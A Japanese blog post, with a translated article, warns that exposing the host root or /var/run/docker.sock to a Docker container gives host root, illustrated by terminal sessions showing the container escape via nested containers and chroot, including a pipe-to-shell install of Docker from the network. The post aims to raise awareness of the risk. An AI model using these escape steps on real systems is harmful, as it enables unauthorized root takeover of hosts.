48JIGEN *Reloaded*

Dockerコンテナ内からホストマシンのルートを取る具体的な方法(あるいは/var/run/docker.sockを晒すことへの注意喚起)

2015/11/04

dockerの -v オプションを使ってホストマシンのディレクトリをマウントするときは、マウントする範囲に注意が必要(特に/var/run/docker.sockをマウントしてはならない)という話を書きます。

元ネタは@lvhが書いてるDon't expose the Docker socket (not even to a container)という記事で、1ヶ月前くらいにHacker Newsで話題になってて知りました。

この元記事で紹介されているいくつかの危険なマウントのパターンに関する情報が、最近dockerを使い始めた自分に有用な情報だったので、自戒も込めて要点を書いておきます。

TL;DR

/var/run/docker.sockへの書き込み権限があるとルートを持ってるのと同様のことができるため、決して外部へ晒してはいけない(コンテナに対してであってもマウントさせるべきではない)

コマンド例

まず予備知識として、ルートディレクトリをマウント(-v /:/foobar)してコンテナを起動すると、ホストのルートが取れる例から。

root@test-docker:~# cat /etc/hostname
test-docker
root@test-docker:~# docker run -t -i -v /:/foobar debian:jessie /bin/bash  #ルートDirをマウントしコンテナ起動
WARNING: Your kernel does not support memory swappiness capabilities, memory swappiness discarded.
root@01a8a893fa9d:/# cat /etc/hostname  #コンテナ上のホスト名が返る
01a8a893fa9d
root@01a8a893fa9d:/# ps ax  #コンテナ内のプロセス一覧が返る
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 /bin/bash
   21 ?        R+     0:00 ps ax
root@01a8a893fa9d:/# chroot /foobar  #chrootが成功
# /bin/bash
root@01a8a893fa9d:/# cat /etc/hostname  #/etc/hostnameを見るとホストマシン名が返るし
test-docker
root@01a8a893fa9d:/# ps ax  #psを叩けばホストマシンのプロセス一覧がコンテナ内から見える
PID TTY      STAT   TIME COMMAND
  1 ?        Ss     0:01 /sbin/init
  2 ?        S      0:00 [kthreadd]
  3 ?        S      0:01 [ksoftirqd/0]
  5 ?        S<     0:00 [kworker/0:0H]
  6 ?        S      0:00 [kworker/u2:0]
  7 ?        S      0:00 [rcu_sched]
  8 ?        S      0:00 [rcu_bh]
  9 ?        S      0:00 [migration/0]
 10 ?        S      0:00 [wat
 ・・・・
 (略)
 ・・・
10000 ?        S      0:00 [kworker/0:1]
10023 pts/3    Ss     0:00 /bin/bash
16787 pts/3    Sl+    0:00 docker run -t -i -v /:/foobar debian:jessie /bin/bash
16820 pts/4    Ss     0:00 /bin/bash
16830 pts/4    S      0:00 /bin/sh -i
16831 pts/4    S      0:00 /bin/bash
16835 pts/4    R+     0:00 ps ax

ユーザが意図的にルートディレクトリをマウントする事例は、特別な事情がない限りは実際は少ないと思われるので、これ単体で問題になることは恐らく少ないでしょう。 ですが、悪意を持ったユーザにとってはコンテナ上からホストマシンのルートを取るための便利な手段となり得ます。

次の例では、ホストマシンがコンテナに対して/var/run/docker.sockのみを晒しています。そうすることで、コンテナ上で更にコンテナを起動することが可能になります。 これと、先ほど紹介した手法を組み合わせることで、コンテナ上からホストマシンのrootを取ることが可能になります。

root@test-docker:~# docker run -t -i -v /var/run/docker.sock:/var/run/docker.sock debian:jessie /bin/bash
WARNING: Your kernel does not support memory swappiness capabilities, memory swappiness discarded.
root@b5745203f94d:/# ps ax
  PID TTY    STAT    TIME COMMAND
    1 ?      Ss      0:00 /bin/bash
    6 ?      R+      0:00 ps ax
root@b5745203f94d:/# cat /proc/self/cgroup
8:perf_event:/
7:blkio:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
6:net_cls,net_prio:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
5:freezer:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
4:devices:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
3:cpu,cpuacct:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
2:cpuset:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
1:name=systemd:/system.slice/docker-161d969001f95dbdf8e00a8b564cc15d75deee5716484a9790373f9d894b636a.scope
root@b5745203f94d:/# which docker  #dockerがインストールされてないので次の行でインストール
root@b5745203f94d:/# apt-get update && apt-get install wget -y && wget -qO- https://get.docker.com | sh
Get:1 http://security.debian.org jessie/updates InRelease [63.1 kB]
Get:2 http://security.debian.org jessie/updates/main amd64 Packages [181 kB]
Ign http://httpredir.debian.org jessie InRelease
Get:3 http://httpredir.debian.org jessie-updates InRelease [128 kB]
・・・・
(略)
・・・

If you would like to use Docker as a non-root user, you should now consider
adding your user to the "docker" group with something like:

  sudo usermod -aG docker your-user

Remember that you will have to log out and back in for this to take effect!
root@b5745203f94d:/# docker run -t -i -v /:/host debian:jessie /bin/bash
WARNING: Your kernel does not support memory swappiness capabilities, memory swappiness discarded.
root@01a8a893fa9d:/# chroot /foobar  #chrootが成功
# /bin/bash
root@01a8a893fa9d:/# cat /etc/hostname  #/etc/hostnameを見るとホストマシン名が返っている
test-docker

以下で元記事を翻訳したのですが、最後の方に出てくるYouTubeの動画で更に突っ込んだ(sshのデーモンを殺すなどの)手法も紹介されているので、更に興味のある人はそちらも参照されるとよいと思います。

Don't expose the Docker socket (not even to a container)

以下、元記事の翻訳です。@lvhから許可を得て掲載しています。


Dockerはデーモンプロセス(dockerd)と通信するクライアントとして動くわけですが、その際のソケットには典型的にUNIXドメインソケット(/var/run/docker.sock)が利用されます。dockerdは特権的な動作が可能であり実効的にはルート権を持っているとみなせるため、dockerdが使うUNIXドメインソケットに対して書き込み権限を有するどのプロセスもまた、実効的にルート権があると言えます。

これは隠れた事案では全くありません。Docker社は入門の手引も含めて、多くの場所で明確にドキュメントに記しており、それは例えLinux上であってもDocker Machineを開発環境に選ぶ動機付けの一つとなっています。もし一般ユーザがこのdocker.sockに書き込み権限を持っていると、自由にルートを取りどんなコードも実行できてしまう脆弱性が生まれることになります。

Dockerのソケットにまつわる警鐘としては、ホストマシン上でのオペレーションについての(時として暗示的な)指摘がよく見受けられます。ホストマシン上で一般ユーザがdocker.sockに書き込み権限を持つことはホストマシンのルートを与えることにつながる、といったものです。しかし、コンテナ上でdocker.sockへの書き込み権限を持ったとしたら何が起こるのかについてはいくらかの誤解があるようです。

最もよくある誤解が、ルートは全く取れないだとか、コンテナ内においてのみルートが与えられる(ホストマシンには影響を及ぼさない)、といったようなものですが、これは間違っています。書き込み元が誰かに関わらず、docker.sockへの書き込み権限はホストマシン上のルート権限を意味します。Docker内でDockerを走らせるJerome Pettazoniのdindとは異なり、我々はホストマシンのdocker.sockへのアクセスについて考えていきます。

その手順は以下の様なものです。

  1. ホストマシンの/var/run/docker.sockをマウントした状態で起動したDockerコンテナ(訳注:便宜上コンテナAと呼びます)上でDockerクライアントをインストールします
  2. コンテナA上で、-v /:/hostオプションによりルートディレクトリをマウントした状態で更にdockerコンテナを起動します(訳注:コンテナBと呼びます)。ここで、このルートディレクトリはコンテナAのルートではなくてホストマシンのルートを指すことに注意してください
  3. コンテナB上で/hostへのchrootを行うと、実効的にホストマシンのルートを取ったことと同様の状態になります。(実際にはいくつかの点でホストマシン上のシェルとの動作が異なることになります。例えば、/proc/self/cgroupsはDocker cgroupsを指すなど。しかしながら、攻撃者はこれらの差異に対応するために必要な全ての権限を持っています)

この手法はコンテナ外からルートを取るプロセスと全く変わりません。docker.sockへの書き込み権限を持つことはホストマシンのルート権限を持つことと同じことであり、これでゲームオーバーです。誰が書き込みをしてるとか、どこからの書き込みだとかは一切関係がありません。

残念なことに、非常に多くの開発チームがこのことに気づいていません。最近そういう事例に出くわしたので、彼らの環境における脆弱性についてスクリーンキャストであいまいにデモをすることにしました。

これは新しい事実ではなく、Dockerの動作の性格として長い間知られてきたことです。元々DockerのREST APIはエンドポイントとしてTCPポートをリスンしてきたのですが、瑣末ではありますが残念なことにこの方式ではクロスサイトスクリプティングが可能になってしまうということで、'/var/run/docker.sock'にあるUNIXドメインソケットをリスンするように変更した時点(訳注:v0.5.2の時点のようです ※)から続いている性質となっています。

公式ドキュメント 曰く、"For this reason, the REST API endpoint (used by the Docker CLI to communicate with the Docker daemon) changed in Docker 0.5.2, and now uses a UNIX socket instead of a TCP socket bound on 127.0.0.1 "

このエントリーをはてなブックマークに追加

Related Posts

オープンデータの実証用サイトOpen DATA METIを使う

ちょっとだけ読みやすいnode.jsからmongoDBへの接続のコードの書き方と、ハマったところ / (A Bit) Nicer Node.js Code To Read To Connect DB, and other small tips

Aterm warpstar 634GV(ルータ) × fedora core 3(自宅サーバ) でネットワーク構築

 

about me

@remore is a software engineer, weekend contrabassist, and occasional public speaker. Read more